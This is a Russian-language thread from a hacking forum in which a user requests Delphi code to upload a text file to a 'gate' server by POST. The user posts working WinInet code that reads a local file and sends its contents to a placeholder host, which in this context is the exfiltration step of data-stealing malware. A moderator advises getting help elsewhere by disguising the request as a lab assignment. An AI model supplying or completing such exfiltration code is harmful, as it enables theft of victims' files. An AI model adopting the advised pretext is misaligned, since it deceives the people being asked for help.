1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Отправка файла на гейт по средством POST запроса.

Тема в разделе "Помощь по программированию", создана пользователем EEjester, 31 янв 2013.

  1. TopicStarter Overlay
    EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.339
    Симпатии:
    957
    Кодеры ббб, откликнитесь! Нужен пример исходника который бы отсылал .txt файл на гейт по средством post запроса. Код нужен delphi. Есть код который я чёрт знает где нарыл:
    Код:
     Uses WinInet;
     
    Const
    Host: PChar='хост';
    Path: PChar='путь до скрипта';
     
    Function GetFileData(szFile: PChar): PChar;
    Var
    hFile, dwSize, dwBytes: DWORD;
    Begin
    Result:='';
    hFile:=CreateFile(szFile, GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0);
    If hFile<>INVALID_HANDLE_VALUE then
    Begin
    dwSize:=GetFileSize(hFile, nil);
    Result:=VirtualAlloc(nil, dwSize, MEM_COMMIT, PAGE_READWRITE);
    ReadFile(hFile, Result^, dwSize, dwBytes, nil);
    End;
    CloseHandle(hFile);
    End;
     
    Procedure SendPOSTData(Const szHost, szPath, szData: PChar);
    Var
    hOpenHandle, hConnectHandle, hResourceHandle: Pointer;
    Begin
    hOpenHandle:=InternetOpen(nil, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
    If hOpenHandle<>nil then
    Begin
    hConnectHandle:=InternetConnect(hOpenHandle, szHost, 80, nil, nil, 3, 0, 0);
    If hConnectHandle<>nil then
    Begin
    hResourceHandle:=HttpOpenRequest(hConnectHandle, 'POST', szPath, nil, nil, nil, INTERNET_FLAG_KEEP_CONNECTION, 0);
    If hResourceHandle<>nil then
    Begin
    HttpSendRequest(hResourceHandle, 'Content-Type: application/x-www-form-urlencoded', 47, szData, lstrlen(szData));
    End;
    InternetCloseHandle(hResourceHandle);
    End;
    InternetCloseHandle(hConnectHandle);
    End;
    InternetCloseHandle(hOpenHandle);
    End;
     
    Procedure TForm1.Button1Click(Sender: TObject);
    Begin
    ZeroMemory(@szBuf, SizeOf(szBuf));
    lstrcpy(szBuf, PChar('fname=файл.txt&data='));
    lstrcat(szBuf, ((GetFileData(PChar('C:/файл.txt')))));
    SendPOSTData(Host, Path, szBuf);
    End; 
     
    Метки:
  2. googie

    googie Команда форума

    Регистрация:
    27 июл 2012
    Сообщения:
    824
    Симпатии:
    616
    Please login or register to view links хороший сайт, там можно спросить, только оформи не типа: "здравствуйте, я хакер и хочу с помощью ваших рук многим напакостить" а например: "здравствуйте, хочу реализовать из php в delphi код отправки файла на гейт, лабораторная работа (ну, например:rolleyes: )". как-то так. по идее должны помочь
     
    • Like Like x 1
  3. TopicStarter Overlay
    EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.339
    Симпатии:
    957
    спасибо, если что обращусь туда.
     
  4. Agulzex

    Agulzex

    Регистрация:
    23 окт 2012
    Сообщения:
    411
    Симпатии:
    375
    блин пороюсь у меня где то готовый был
     
  5. TopicStarter Overlay
    EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.339
    Симпатии:
    957
    это было бы великолепно!! Ждуууу!!
     
  6. Agulzex

    Agulzex

    Регистрация:
    23 окт 2012
    Сообщения:
    411
    Симпатии:
    375
    блин соврал есть С++ седня подумаю чем тебе помочь и к вечеру выложу) если дома буду
     
  7. TopicStarter Overlay
    EEjester

    EEjester hack_the_god

    Регистрация:
    25 окт 2012
    Сообщения:
    1.339
    Симпатии:
    957
    отлично! жду.
    вот статейку нашел: Please login or register to view links
     

Поделиться этой страницей

Загрузка...